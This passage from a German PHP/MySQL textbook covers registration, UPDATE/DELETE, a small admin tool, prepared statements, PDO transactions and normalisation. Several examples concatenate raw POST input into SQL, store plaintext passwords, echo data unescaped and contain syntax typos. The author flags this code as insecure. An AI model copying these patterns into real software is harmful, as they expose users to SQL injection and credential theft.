  $sql = "
    SELECT COUNT(*) AS cnt FROM tbl_user
    WHERE(E-Mail-Adresse='" . $_POST["E-Mail-Adresse"] . "')
  ";
  $daten = query($GLOBALS["conn"],$sql);
  $ds = fetch($GLOBALS["conn"],$daten);
  if($ds->cnt==0) {
    $sql = "
      INSERT INTO tbl_user
        (E-Mail-Adresse,Passwort)
      VALUES (
        '" . $_POST["E-Mail-Adresse"] . "',
        '" . $_POST["PWD"] . "'
      )
    ";
    $ok = query($GLOBALS["conn"],$sql);
    if($ok) {
      $msg = '<p class="success">Registrierung erfolgreich</p>';
    }
    else {
      $msg = '<p class="error">Registrierung fehlgeschlagen</p>';
    }
  }
  else {
    $msg = '<p class="error">Diese E-Mail-Adresse ist bereits ↩
registriert.<p>';
  }
}
?> 


                ...
<body>
<?php echo($msg); ?>
<form method="post">
  <label>Ihre E-Mail-Adresse:
    <input type="email" name="E-Mail-Adresse" required>
  </label>
  <label>Ihr Wunschpasswort:
    <input type="password" name="PWD" required>
  </label>
  <input type="submit" value="registrieren">
</form>
</body>
</html>


                
                    [image: Unser Registrierungsformular vor und nach dem Abschicken]

                    Abbildung 12.15    
            Unser Registrierungsformular vor und nach dem Abschicken

                
                In unserem Beispiel wird die Anzahl der Datensätze ermittelt, für die gilt: Die E-Mail-Adresse ist gleich der eingegebenen Adresse des Users. Dies geschieht über die MySQL COUNT-Funktion, indem wir in einem Feld mit dem (frei wählbaren) Namen cnt (das steht für »count«) die Anzahl der betroffenen Datensätze abfragen. Diese Spalte kann jedoch wiederum nur ausgelesen werden, indem diese eine Zeile aus der Ergebnismenge mittels fetch ermittelt wird. (Der Datenbankserver liefert exakt eine Zeile zurück – aus diesem Grund muss der fetch-Befehl auch nicht in einer Schleife ausgeführt werden.)

            

            
                [»]  Datensätze abzählen

                Anstatt die Anzahl der zurückgegebenen Zeilen durch Abzählen aufseiten des Datenbankservers zu prüfen, kann auch eine entsprechende Eigenschaft/Methode des jeweiligen Datenbankmodells verwendet werden: num_rows für MySQLi bzw. rowCount für PDO. Auch in diesem Fall würde sich wieder die Programmierung eines Wrappers empfehlen. Welche Variante Sie schlussendlich bevorzugen, ist Ihnen überlassen. In diesem Fall fällt die Entscheidung nicht aufgrund von Performance-Fragen, da die Verarbeitung in etwa gleich lange dauern wird.

            

        
        
            12.6.4    Das Aktualisieren bestehender Datensätze: UPDATE

            Der nächste logische Schritt in Ihrer Entwicklung zum Datenbankprofi ist das Aktualisieren bestehender Datensätze. Das kann die Veränderung eines einzigen oder auch mehrerer oder sogar aller Datensätze bedeuten. Hierüber entscheidet ein Filter, wie Sie ihn bereits beim SELECT-Statement kennengelernt haben.

            Werfen wir einen Blick auf die Syntax:

            UPDATE Tabellenname SET
  Spalte1=Wert1,
  Spalte2=Wert2,
  ...
[ WHERE(...)


            Ohne groß ins Detail zu gehen, sehen wir uns gleich einmal ein paar Beispiele an:

            
                	
                    »Ändere den Nachnamen der Person mit der ID=23 in "Maier"«:

                    UPDATE tbl_user SET Nachname="Maier" WHERE(IDUser=23) 


                

                	
                    »Benenne alle "Maiers" in "Müllers" um«:

                    UPDATE tbl_user SET Nachname="Müller" WHERE(Nachname="Maier") 


                

                	
                    »Setze das Geburtsdatum aller Personen auf den 1.1.1970«:

                    UPDATE tbl_user SET Geburtsdatum="1970-01-01" 


                

                	
                    »Benenne alle Personen, deren Geburtsdatum vor dem 1.2.1985 liegt, in "John Doe" um«:

                    UPDATE tbl_user SET Vorname="John", Nachname="Doe"
WHERE(GebDatum<"1985-02-01") 


                

                	
                    »Setze alle User auf "zu löschen", die bereits länger als sechs Monate registriert sind, deren Konten jedoch noch nicht aktiviert wurden«:

                    UPDATE tbl_user SET zuLoeschen=1
WHERE (DATEDIFF(DATE(NOW()),RegZeitpunkt) AND aktiviert=0) 


                

            

            Wie Sie sehen, entscheidet der Filter (also die WHERE-Klausel) darüber, welche Datensätze aktualisiert werden sollen. Wird kein Filter eingesetzt, so betrifft das UPDATE-Statement immer alle Datensätze.

        
        
            12.6.5    Das Löschen bestehender Datensätze: DELETE

            Zu guter Letzt wollen wir auch noch einen Weg finden, bestehende Datensätze zu löschen. Die Betonung liegt auf dem Wort Datensatz: Es geht uns also nicht darum, die Inhalte einzelner Spalten eines bestehenden Datensatzes zu löschen (das wäre ein UPDATE, wie es in Abschnitt 12.6.4 besprochen wurde), sondern den Datensatz als Gesamtes. Wie auch im Fall von UPDATE hilft uns ein Filter, festzulegen, welche Datensätze gelöscht werden sollen. Geben wir keinen Filter an, so werden sämtliche Datensätze aus einer Tabelle gelöscht, was dem Leeren der Tabelle entspricht. (Hierfür gäbe es jedoch einen wesentlich effektiveren Weg: den TRUNCATE-Befehl.)

            Ein Blick auf die Syntax zeigt uns, dass auch dieses Statement recht gut verständlich ist:

            DELETE FROM Tabelle
[ WHERE(...)


            Auch hier folgen wieder einige Beispiele, um das DELETE-Statement zu illustrieren (wie üblich gehen wir von unserer Beispieltabelle tbl_user aus):

            
                	
                    »Lösche alle Personen mit dem Vornamen Uwe«:

                    DELETE FROM tbl_user WHERE(Vorname="Uwe") 


                

                	
                    »Lösche alle Personen mit den Vornamen Uwe oder Silvia«:

                    DELETE FROM tbl_user WHERE(Vorname="Uwe" OR Vorname="Silvia") 


                

                	
                    »Lösche alle Personen, die mit Nachnamen nicht Maier oder Huber heißen«:

                    DELETE FROM tbl_user WHERE(Nachname<>"Maier" AND Nachname<>"Huber") 


                

                	
                    »Lösche alle Personen, die vor dem 17.10.1972 geboren sind und Sabine mit Vornamen heißen«:

                    DELETE FROM tbl_user WHERE(GebDatum<"1972-10-17" AND Vorname="Sabine") 


                

            

            
                Zwischenfazit

                Nachdem Sie nun die vier wesentlichen SQL-Befehle SELECT, INSERT, UPDATE und DELETE kennengelernt haben, stellt sich natürlich die Frage, wie wir diese einsetzen können. Zwar haben Sie ein paar Anwendungsfälle kennengelernt, aber dennoch mag bei dem Einen oder der Anderen von Ihnen noch das Gefühl der Unsicherheit vorherrschen. Ganz grundlegend können wir jedoch sagen:

                
                    	
                        SQL-Statements sind lediglich dafür da, die Arbeiten an der Datenbank vorzunehmen.

                    

                    	
                        Die gesamte (Programmier-)Logik wie auch die Schnittstelle zum User (das User-Interface) liegt nach wie vor aufseiten des Webservers bzw. Webclients.

                    

                

                Was wir also entwickeln, ist zu 90 % etwas, das serverseitig in PHP geschrieben ist – nur diejenigen Arbeiten, die der Datenbankserver (respektive die Datenbank) zu erfüllen hat, werden als textbasiertes SQL-Statement mittels eines Query-Befehls (query für sowohl MySQLi als auch für PDO) an das Datenbanksystem übermittelt. (Sie werden auch noch auf sogenannte Prepared Statements treffen, bei denen die Sachlage geringfügig anders aussieht; siehe Abschnitt 12.7, »Alles eine Sache der Vorbereitung: Prepared Statements«) Das Datenbanksystem liefert uns wiederum entweder Daten (im Falle des SELECT-Statements) oder eine Erfolgsmeldung (alle anderen SQL-Statements) oder Misserfolgsmeldung (alle SQL-Statements) zurück.

            
        
        
            12.6.6    Ein Anwendungsbeispiel in Form eines Redaktionssystems für eine Tabelle

            Wenden wir uns also einer konkreten Anwendung zu. Als Redaktionssystem bezeichnet man ein (Administrations-)Tool zum Warten einer oder mehrerer Tabellen einer Datenbank in Form eines formularbasierten Systems. In unserem Fall soll, wie bereits oben erwähnt, die Tabelle tbl_user wartbar werden. Dies bedeutet, dass folgende Funktionalitäten gegeben sein sollen:

            
                	
                    Darstellen aller Informationen dieser Tabelle in Form einer HTML-Tabelle

                

                	
                    Möglichkeit, einen neuen Datensatz einzufügen

                

                	
                    Möglichkeit, einen bestehenden Datensatz zu löschen

                

                	
                    Möglichkeit, einen bestehenden Datensatz zu aktualisieren

                

            

            Weil dieses Tool also (neben dem Auslesen der Daten) insgesamt drei Funktionalitäten aufweist, muss man in weiterer Folge auf Serverseite entscheiden können, was mit den Informationen des Clients geschehen soll. Dabei sollten Sie beachten, dass diese Entscheidung einzig und allein auf Basis der vom Client übergebenen Formulardaten getroffen werden kann. Wenn also eine Flut an Formulardaten vom Client an den Server geschickt wird, so muss der Server aus diesen Daten genau die richtigen Daten herauspicken können. Hierzu bedient man sich gern zweier (versteckter) Formularfelder, die einerseits die auszuführende Aktion (einfügen, löschen, aktualisieren) und andererseits den betroffenen Datensatz in Form seiner ID speichern:

            <form method="post" id="frm">
  <input type="hidden" name="welcheID" id="welcheID">
  <input type="hidden" name="wasTun" id="wasTun">
  ...
</form>


            Das oben stehende Formular wird sich in weiterer Folge um die gesamte HTML-Tabelle spannen, die zur Ausgabe der Datensätze dient.

            Beginnen wir mit dem Einfügen eines neuen Datensatzes. Um einen Datensatz einfügen zu können, benötigt der Anwender Eingabefelder. Diese sind selbstverständlich vorab leer – sie erhalten lediglich einen eindeutigen Namen, um später auf der Serverseite identifizierbar zu sein: Vorname_0, Nachname_0, usw.:

            <tr>
  <td></td>
  <td><input type="email" name="E-Mail-Adresse_0"></td>
  <td><input type="text" name="Passwort_0"></td>
  <td><input type="text" name="Vorname_0"></td>
  <td><input type="text" name="Nachname_0"></td>
  <td><input type="date" name="GebDatum_0"></td>
  <td></td>
  <td><button type="button" data-insert>einfügen</button></td>
</tr>


            Die Kennzeichnung mit _0 am Ende soll andeuten, dass es sich um einen neuen Datensatz handelt. Die bestehenden Datensätze werden später beispielsweise mit Vorname_23 für den Vornamen des Users mit der ID=23 gekennzeichnet. Da die ID erst mit 1 beginnt, wird 0 gern als Kennzeichner für einen neuen Datensatz verwendet.

            
                [»]  Die leeren Spalten

                Die beiden leeren Spalten der Zeile stellen einerseits die IDUser-Spalte und andererseits die Spalte für das Registrierungsdatum dar, die jedoch von der Tabelle automatisch befüllt werden.

            

            Auffällig ist sicherlich das Attribut data-insert. Wie Sie aus dem HTML-Teil wissen, sind Attribute, die mit data- beginnen, frei wählbare Attribute. Unser Ansinnen ist es, später jedem Button, der ein Attribut data-insert besitzt, einen Event-Handler zuzuweisen, der bei einem Klick auf diesen Button aufgerufen wird. Diese Idee werden wir für die noch folgenden Update- (data-update="x") und die Delete-Buttons (data-delete="x") fortsetzen, wobei das »x« im Attributwert die ID des betroffenen Datensatzes darstellt: Soll beispielsweise der Datensatz mit der IDUser=23 gelöscht werden, so erhielte der Button das Attribut data-delete="23". Der folgende JavaScript-Code (in diesem Beispiel wird jQuery als JavaScript-Bibliothek eingesetzt) weist den Buttons nach dem vollständigen Aufbau des Dokumentbaums (DOMContentLoaded) die Ereignisbehandlungen zu:

            $(document).ready(function() {
  $("[data-insert]").on("click",function(ev) {
    ev.stopPropagation();
    $("[name=wasTun]").val("einfuegen");
    $("#frm").submit();
  });
 
  $("[data-update]").on("click",function(ev) {
    ev.stopPropagation();
    $("[name=wasTun]").val("aktualisieren");
    $("[name=welcheID]").val($(this).attr("data-update"));
    $("#frm").submit();
  });
 
  $("[data-delete]").on("click",function(ev) {
    ev.stopPropagation();
    if(confirm("Wollen Sie diesen Datensatz wirklich löschen?")) {
      $("[name=wasTun]").val("loeschen");
      $("[name=welcheID]").val($(this).attr("data-delete"));
      $("#frm").submit();
    }
  });
});


            Listing 12.2    
            Die Event-Handler für unsere Buttons

            Neben den Eingabefeldern befindet sich der Button, auf den der User klicken kann, um den Datensatz zu speichern. Wie Sie erkennen können, wird über den Event-Handler in das (versteckte) Formularfeld mit dem Namen wasTun der Wert "einfügen" geschrieben und danach das Formular mit der ID frm abgeschickt.

            Somit muss wieder der Server aktiv werden. Er muss zunächst feststellen, ob POST-Daten vorhanden sind, und danach in diesen Daten nach dem Feld wasTun suchen und dieses Feld entsprechend auswerten. Weil Sie bereits wissen, dass unser Redaktionssystem mehr können wird, als nur Daten einzufügen, empfiehlt es sich, den Inhalt dieses Feldes mittels switch auszuwerten:

            if(count($_POST)>0) {
  $id = intval($_POST["welcheID"]); //Hilfsvariable
  switch($_POST["wasTun"]) {
    case "einfuegen":
      ...
      break;
    ...
  }
}


            
                Datensatz einfügen

                Im Fall von einfügen muss nun also auf die POST-Daten E-Mail-Adresse_0, Passwort_0, Vorname_0, Nachname_0 und GebDatum_0 zugegriffen werden, wobei diese dann in ein INSERT-Statement verpackt werden müssen. Das zugehörige INSERT-Statement muss beispielhaft folgende Form aufweisen:

                INSERT INTO tbl_user (E-Mail-Adresse, Passwort, Vorname, Nachname, GebDatum)
VALUES ('test@test.at','test123','John','Doe','1985-03-24')


                Hierbei müssen Sie jedoch aufpassen: Sollte der User in eines der optionalen Felder (Vorname, Nachname oder Geburtsdatum) nichts eingeben, so würde dies einen leeren String ergeben. Nun ist ein leerer String aber nicht dasselbe wie ein NULL-Wert (der ja eigentlich gespeichert werden sollte, wenn das jeweilige Eingabefeld leer ist). Außerdem kann für ein Datum ebenfalls kein leerer String gespeichert werden.

                Aus diesem Grund empfiehlt sich eine Funktion, an die man den zu speichernden Wert übergibt und die dann entscheidet, welcher Wert tatsächlich gespeichert werden soll:

                
                    	
                        Ist der Wert nicht leer, wird er in Anführungszeichen gesetzt und zurückgegeben.

                    

                    	
                        Ist der Wert hingegen leer, wird entweder ein leerer String (sofern $allowNull false ist) oder der Wert NULL (sofern $allowNull true ist) zurückgegeben.

                    

                

                Den Rückgabewert der Funktion setzt man dann in das INSERT-Statement ein:

                function value_set(int|float|string $in, bool $allowNull=false):string {
  return strlen(strval($in))==0 ? ($allowNull ? "NULL" : '""') : '"' . $in . '"';
}


                Setzt man den Funktionsaufruf von value_set nun in das INSERT-Statement ein, so erhält man:

                INSERT INTO tbl_user (E-Mail-Adresse,Passwort,Vorname,Nachname,GebDatum)
VALUES (
  " . value_set($_POST["E-Mail-Adresse_0"]) . ",
  " . value_set($_POST["Passwort_0"]) . ",
  " . value_set($_POST["Vorname_0"],true) . ",
  " . value_set($_POST["Nachname_0"],true) . ",
  " . value_set($_POST["GebDatum_0"],true) . "
)


                Beachten Sie, dass das SQL-Statement an dieser Stelle ja lediglich ein String ist, den wir beliebig aus Teilstrings zusammensetzen können. Weiters enthält der Funktionsaufruf bei value_set als zweiten Parameter ein true, sofern es sich um optionale Felder handelt, die gegebenenfalls ein NULL in die Datenbank schreiben sollen.

                Dieser SQL-String wird in weiterer Folge an den Datenbankserver übermittelt und die Antwort entsprechend ausgewertet:

                $ok = query($GLOBALS["conn"]$sql);
if($ok) { $msg = '<p class="success">Einfügen erfolgreich</p>'; }
else { $msg = '<p class="error">Einfügen fehlgeschlagen</p>'; }


                Die Variable $msg wird wie üblich weiter unten im <body> des Dokuments per echo() ausgegeben.

            
            
                Datensatz löschen

                Das Löschen eines bestehenden Datensatzes erfolgt auf ähnliche Art und Weise, nur muss man sich in diesem Fall von Client- auf Serverseite merken, welcher Datensatz gelöscht werden soll. Das Löschen selbst wird über entsprechende Buttons neben jedem Datensatz ausgelöst, welche innerhalb einer Schleife ausgegeben werden:

                $sql = "SELECT * FROM tbl_user";
$daten = query($GLOBALS["conn"]$sql);
while($zeile = fetch($GLOBALS["conn"]$sql,$daten)) {
  echo('
    ...
    <button type="button" data-delete="' . $zeile->IDUser . '">x</button>
    ...
  ');
}


                Entscheidend ist, dass im Event-Handler für die Löschen-Buttons nun die ID desjenigen Datensatzes vorhanden sein muss, der gelöscht werden soll. Dies erledigen wir wie bereits zuvor geschildert, indem wir dem Attribut data-delete die ID des Datensatzes als Wert zuweisen. Davor wird üblicherweise noch abgefragt, ob der User sich mit seiner Lösch-Entscheidung sicher ist.

                Das Feld wasTun erhält wie auch beim Einfügen von Daten eine Kennzeichnung, was denn auf Serverseite zu tun ist (»löschen«); danach wird das Formular abgeschickt. Serverseitig beginnt nun dasselbe Spiel wie im Fall des Einfügens: Die switch-Anweisung wird um den Fall "loeschen" erweitert:

                $id = intval($_POST["welcheID"]); //Hilfsvariable
switch($_POST["wasTun"]) {
  case "einfuegen":
    ... //Code siehe weiter oben
    break;
 
  case "loeschen":
    $sql = "DELETE FROM tbl_user WHERE(IDUser=" . $id . ")";
    $ok = query($GLOBALS["conn",$sql);
    if($ok) { $msg = '<p class="success">Löschen erfolgreich</p>'; }
    else { $msg = '<p class="error">Löschen fehlgeschlagen</p>'; }
    break;
    …
}


                Das DELETE-Statement ist relativ einfach, da lediglich das Feld welcheID aus den POST-Daten in das Statement eingesetzt werden muss:

                DELETE FROM tbl_user WHERE(IDUser=" . $id . ")


                Der Rest besteht wiederum aus dem Senden des SQL-Strings an den DB-Server und dem Abwarten und Auswerten seiner Antwort.

            
            
                Datensatz aktualisieren

                Schlussendlich muss noch das Aktualisieren von bestehenden Daten ermöglicht werden. Hierzu müssen zunächst diese Daten in Form von vorausgefüllten Eingabefeldern dargestellt werden (siehe Abbildung 12.16).

                
                    [image: Darstellung der bestehenden Daten in Form vorausgefüllter Eingabefelder]

                    Abbildung 12.16    
            Darstellung der bestehenden Daten in Form vorausgefüllter Eingabefelder

                
                Beachten Sie, dass diese Felder eindeutige Namen besitzen müssen. Idealerweise verwenden Sie also die bereits zuvor kurz angedeutete Schreibweise, dass man die ID-Werte an die Benennung der Felder anhängt, wie Sie im Fall des E-Mail-Adressfeldes unten erkennen können:

                <input type="email" value="' . $zeile->E-Mail-Adresse . ↩
'" name="E-Mail-Adresse_' . $zeile->IDUser . '">


                Das value-Attribut stellt den aktuell in der Tabelle gespeicherten Wert dar.

                Auf diese Art und Weise werden nun alle Eingabefelder erzeugt, sodass sich innerhalb der Ausgabeschleife folgender Code ergibt:

                ...
while($zeile = fetch($GLOBALS["conn"],$daten)) {
  echo('
    <tr>
      <td>' . $zeile->IDUser . '</td>
      <td><input type="email" value="' . $zeile->E-Mail-Adresse . ↩ 
'" name="E-Mail-Adresse_' . $zeile->IDUser . '"></td>
      <td><input type="text" value="' . $zeile->Passwort . ↩
'" name="Passwort_' . $zeile->IDUser . '"></td>
      <td><input type="text" value="' . $zeile->Vorname . ↩
'" name="Vorname_' . $zeile->IDUser . '"></td>
      <td><input type="text" value="' . $zeile->Nachname . ↩ 
'" name="Nachname_' . $zeile->IDUser . '"></td>
      <td><input type="date" value="' . $zeile->GebDatum . ↩ 
'" name="GebDatum_' . $zeile->IDUser . '"></td>
      <td>' . $zeile->RegZeitpunkt . '</td>
      <td>
        <button type="button" data-delete="' . $zeile->IDUser . ↩
'">x</button>
        <button type="button" data-update="' . $zeile->IDUser . ↩
'">Speichern
</button>
      </td>
    </tr>
');
}
...


                Wichtig hierbei ist nun der Speichern-Button mit der zugehörigen Funktion aktualisiereDS. Der Event-Handler selbst ist nahezu identisch mit den beiden zuvor erwähnten Event-Handlern zum Einfügen bzw. Löschen:

                $("[data-update]").on("click",function(ev) {
  ev.stopPropagation();
  $("[name=wasTun]").val("aktualisieren");
  $("[name=welcheID]").val($(this).attr("data-update"));
  $("#frm").submit();
});


                Auf der Serverseite wird ein weiterer Fall in die switch-Anweisung integriert. Die dort verwendete Variable $id ist lediglich eine abgekürzte Schreibweise für den (umständlich zu schreibenden) POST-Eintrag welcheID, die wir auch schon für das DELETE-Statement verwendet haben:

                $id = intval($_POST["welcheID"]); //Hilfsvariable
switch($_POST["wastun"]) {
  case "einfuegen":
    ...
    break;
  case "loeschen":
    ...
    break;
  case "aktualisieren":
    $sql = "


                      UPDATE tbl_user SET
        Vorname=" . value_set($_POST["Vorname_" . $id],true) . ",
        Nachname=" . value_set($_POST["Nachname_" . $id],true) . ",
        E-Mail-Adresse=" . value_set($_POST["E-Mail-Adresse_" . $id]) . ",
        Passwort=" . value_set($_POST["Passwort_" . $id]) . ",
        GebDatum=" . value_set($_POST["GebDatum_" . $id],true) . "
      WHERE(IDUser=" . $id . ")
    ";


                    $ok = query($GLOBALS["conn",$sql);
    if($ok) { $msg = '<p class="success">Änderung erfolgreich</p>'; }
    else { $msg = '<p class="error">Änderung nicht erfolgreich</p>'; }
    break;
} 


                Beachten Sie folgendes Beispiel: Angenommen, der User mit der ID=23 soll aktualisiert werden. In diesem Fall muss auf die POST-Daten E-Mail-Adresse_23, Passwort_23 usw. zugegriffen werden. Möglich wird dies über die POST-Daten wie folgt:

                $_POST["E-Mail-Adresse_" . $id]


                
                    [»]  Die Menge an POST-Daten

                    In diesem Beispiel haben wir es uns einfach gemacht und das Formular rund um die gesamte Tabelle gespannt. Das hat zur Folge, dass beim Abschicken des Formulars sämtliche Formularfelder übertragen werden. Bei sehr vielen Formularfeldern drückt das irgendwann auf die Performance. Auf der anderen Seite sparen wir dadurch HTML-Code. Die Entscheidung, ob Sie für jeden Datensatz ein eigenes Formular einsetzen oder ein gemeinsames Formular für alle Datensätze, ist also letzten Endes eine Abwägungssache zwischen der Performance und der Übersichtlichkeit des HTML-Codes.

                

                Der gesamte Code des Beispiels ist im Downloadbereich zum Buch zu finden. Bitte beachten Sie, dass dieser Code noch keinerlei Security-relevanten Themen beinhaltet und deshalb in der Praxis so nicht eingesetzt werden sollte.

            
        
    


                    
                        
        12.7    Alles eine Sache der Vorbereitung: Prepared Statements

        Entgegen der Vorgehensweise, die ich in vorigen Abschnitten beschrieben habe, wird in der Entwicklung sehr gern auf Prepared Statements zurückgegriffen. Sie können sich solche (SQL-)Statements als eine Art Statement mit Platzhaltern vorstellen, bei dem die Werte der Platzhalter erst später in das Statement eingefügt werden. Das hat zwei Vorteile:

        
            	
                Das SQL-Statement wird vorbereitet und kann somit mehrfach eingesetzt werden. Denken Sie etwa an ein DELETE-Statement, das mit unterschiedlichen Werten mehrmals ausgeführt werden muss: In diesem Fall liegt das Statement bereits vor, und Sie müssen lediglich noch die Werte einsetzen.

            

            	
                Ein Prepared Statement ist gefeit vor SQL-Injections, da die verwendeten Parameterwerte automatisch maskiert werden. SQL-Injections werden in Kapitel 13 genauer beschrieben. Solche Injections stellen die größte Bedrohung von datenbankbasierten Websites dar.

            

        

        Prepared Statements können natürlich sowohl mit PDO als auch mit MySQLi realisiert werden. Ich werde in der folgenden Beschreibung deshalb nicht zwischen den beiden Varianten unterscheiden. Das Nette dabei ist nämlich auch, dass sich die Namen der benötigten Methoden nicht unterscheiden.

        Weiters gehen wir für die folgenden Überlegungen davon aus, dass sich in $conn unser Verbindungsobjekt befindet.

        
            12.7.1    Verwendung eines Parameters

            Betrachten wir unten stehendes SQL-Statement:

            DELETE FROM tbl_user WHERE(IDUser=23)


            In diesem Statement wird klar, dass der User mit der IDUser=23 aus der Tabelle tbl_user gelöscht werden soll. Sollten wir einen weiteren User löschen wollen (z. B. denjeinigen mit der IDUser=24), so wird ein sehr ähnliches Statement erneut an den Server gesendet:

            DELETE FROM tbl_user WHERE(IDUser=24)


            Es ist offensichtlich, das sich in den obigen Fällen lediglich der Wert der IDUser (23 oder 24) ändert. In diesem Fall empfiehlt sich ein Prepared Statement. In ihm wird das Statement vorbereitet, indem Platzhalter verwendet werden. In weiterer Folge bindet man an diese Platzhalter dann die gewünschten Werte und lässt das Statement ausführen. Der Vorteil ist, dass die Abarbeitung des Statements dann schneller vonstatten gehen kann:

            $sql = $conn->prepare("DELETE FROM tbl_user WHERE(IDUser=:id)");
$sql->bindParam(":id",$id); //es wird der Parameter id an die (noch nicht 
//existierende) Variable $id gebunden
$id = 23;
$sql->execute();
$id = 24;
$sql->execute();


            Die Angabe mehrerer Parameter erfolgt äquivalent, wobei für jeden Parameter ein eigener Aufruf der Methode bindParam erfolgen muss.

            
                [»]  An bindParam liegt’s

                Der wichtige Punkt im obigen Code ist, dass über die Methode bindParam der zuvor definierte Parameter :id an die noch nicht existente Variable $id gebunden wird. Dieser Schritt erfolgt jedoch erst danach.

            

            Alternativ zu der obigen Variante kann auch mit unbenannten Parametern gearbeitet werden. Hierzu wird ein ? sowie dann die Angabe des Index (Nummerierung der Platzhalter beginnend mit 1) anstatt des Parameternamens verwendet:

            $sql = $conn->prepare("DELETE FROM tbl_user WHERE(IDUser=?)");
$sql->bindParam(1,$id);
$id = 23;
$sql->execute();
$id = 24;
$sql->execute();


        
        
            12.7.2    Verwendung mehrerer Parameter

            Unten finden Sie ein Beispiel, wie mehrere Parameter an ein INSERT-Statement gesendet werden (Vorname, Nachname, E-Mail-Adresse):

            // ---- Schritt 1: ----
$sql = $conn->prepare("


              INSERT INTO tbl_user (Vorname, Nachname, E-Mail-Adresse)
  VALUES (:vorname,:nachname,:email)


            ");
 
// ---- Schritt 2: ----
$sql->bindParam(":vorname",$vn);
$sql->bindParam(":nachname",$nn);
$sql->bindParam(":email",$e);
 
// ---- Schritt 3: ----
$vn = "Uwe";
$nn = "Mutz";
$e = "uwe.mutz@syne.at";
 
// ---- Schritt 4: ----
$sql->execute();
 
// ---- erneut Schritt 3: ----
$vn = "Silvia";
$nn = "Mutz";
$e = "silvia.mutz@syne.at";
 
// ---- erneut Schritt 4: ----
$sql->execute();


            Insbesondere das letzte Beispiel zeigt, wie praktisch solche Prepared Statements sind:

            
                	
                    Man bereitet das SQL-Statement einmal vor, lässt dabei (mithilfe von Platzhaltern) aber noch offen, welche Werte (für den Vor- und Nachnamen sowie die E-Mail-Adresse) verwendet werden.

                

                	
                    Als Nächstes bindet man (noch nicht mit Werten befüllte) Variablen an die Platzhalter.

                

                	
                    Den Variablen wird in einem weiteren Schritt ein Wert zugewiesen.

                

                	
                    Schlussendlich wird das SQL-Statement ausgeführt (mit execute()).

                

            

            Die letzten beiden Schritte kann man dann beliebig wiederholen.

        
    


                    
                        
        12.8    Datenbankzugriff verbessert: PDO aufgebohrt

        Nachdem wir uns in den vorangegangenen Abschnitten mit der Standardvorgehensweise im Falle von Datenbankverbindungen beschäftigt haben, wollen wir nun ein bisschen mehr ins Detail gehen.

        
            12.8.1    Persistente Verbindungen

            Gerade im Fall von Webanwendungen wird gern auf persistente Verbindungen zurückgegriffen, sodass die Kommunikation mit der Datenbank schneller erfolgen kann: Die Verbindung bleibt für den gesamten Zeitraum der Abarbeitung des PHP-Skripts bestehen und muss nicht jedes Mal wieder neu aufgebaut werden. In diesem Fall würde man den Code wie folgt erweitern:

            $dsn = "mysql:host=localhost;dbname=db_fullsteck;charset=utf8mb4";
$options = [
  PDO::ATTR_EMULATE_PREPARES => false,
  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ,
  PDO::ATTR_PERSISTENT => true
];
try {
  $pdo = new PDO($dsn, "root", "", $options);
} catch (Exception $e) {
  $err = $e->getMessage();
  error_log($err);
  exit('<p class="error">Fehler im Verbindungsaufbau.</p>');
}


        
        
            12.8.2    Transaktionen

            Transaktionen sind die Möglichkeit, mehrere SQL-Statements entweder gebündelt auszuführen (ohne dass andere Statements dazwischenrutschen) oder als Gesamtes nicht auszuführen. Stellen Sie sich etwa vor, Sie müssten einen User in einer Tabelle anlegen und ihm im zweiten Schritt entsprechende Rechte zuweisen. Würden Sie dies in zwei getrennten Schritten tun, so könnte der (zugegebenermaßen seltene) Fall eintreten, dass der User in Schritt 1 angelegt wird (INSERT) und danach sofort der Versuch eines Logins erfolgt, aber dem User noch keine Rechte zugewiesen wurden. In diesem Fall würde ein Fehler auftreten, da Sie die Rechte des Users ja erst im folgenden Schritt eintragen würden. Eine Transaktion verhindert das, indem die zusammengehörigen SQL-Statements ohne Unterbrechung ausgeführt werden.

            Hierzu muss jedoch auf die Methode exec von PDO zurückgegriffen werden. Gehen wir einmal davon aus, dass unser Verbindungsobjekt in $conn gespeichert ist:

            $conn->beginTransaction();
$conn->exec("
  INSERT INTO tbl_user (E-Mail-Adresse, Passwort)
  VALUES ('uwe.mutz@syne.at','test123')
");
$idUser = $conn->lastInsertId(); //liefert die zuletzt erzeugte ID zurück
$conn->exec("
  INSERT INTO tbl_user_rechte (FIDUser, Rechte)
  VALUES (" . $idUser . ",10)
");
$conn->commit(); 


            Mit beginTransaction wird die Transaktion eingeleitet, mit commit wird sie abgeschlossen.

        
    


                    
                        
        12.9    Praxis vs. Theorie – Normalformen, Beziehungen, Joins

        Eines der größten Probleme, auf die man bei Datenbanken trifft, ist die Gefahr, dass die darin gespeicherten Daten nicht zusammenpassen. Damit meine ich Informationen, die man nicht (mehr) korrekt zuordnen kann und die somit wertlos sind. Stellen Sie sich etwa vor, dass in einem Onlineshop Bestellungen gespeichert werden, die man keiner Person zuordnen kann.

        Eine weitere Sache, die Gefahr in sich birgt, ist das mehrmalige Speichern derselben Daten. Hier könnten wir als Beispiel auch wieder einen Onlineshop heranziehen, in dem ein und derselbe Kunde mehrmals in der Datenbank gespeichert ist. Würde man nun auf die Suche nach allen Bestellungen dieses Kunden gehen, so müsste man zuerst einmal herausfinden, wie oft dieser überhaupt gespeichert ist. Und vielleicht ist dann auch noch der unangenehme Fall eingetreten, dass sich die Kundendaten geringfügig voneinander unterscheiden: Möglicherweise hat der Kunde bei der Eingabe seiner Daten einen Schreibfehler gemacht. Na ja, Sie können sich’s vorstellen: Solche Daten mag man in der realen Welt nicht besonders, aber noch viel weniger mag man sie in Datenbanken. Es ist sogar so, dass gerade diese Mehrfachspeicherung die Ursache für fast alle Probleme ist.

        Bricht man die Problematik auf das Wesentliche herunter, so kann man folgendes sagen: Schaffen wir es, eine unnötige (und nicht geplante) Mehrfachspeicherung von Daten (und somit eine sogenannte Redundanz) zu vermeiden, dann werden wir es auch schaffen, nicht zuordenbare (und somit inkonsistente) Daten zu vermeiden. Nur in seltenen Fällen ist das mehrfache Ablegen derselben Daten in Tabellen gewünscht. (Ein Beispiel wäre etwa ein Online-Shop, in dem beispielsweise Preisinformationen sowohl dem Produkt als auch dem Verkauf des Produktes zugewiesen werden, um Preisänderungen zu ermöglichen.) Und damit steht uns das Ziel ganz klar vor Augen: Wir wollen die Konsistenz unserer Daten erhöhen, indem wir Redundanzen vermeiden.

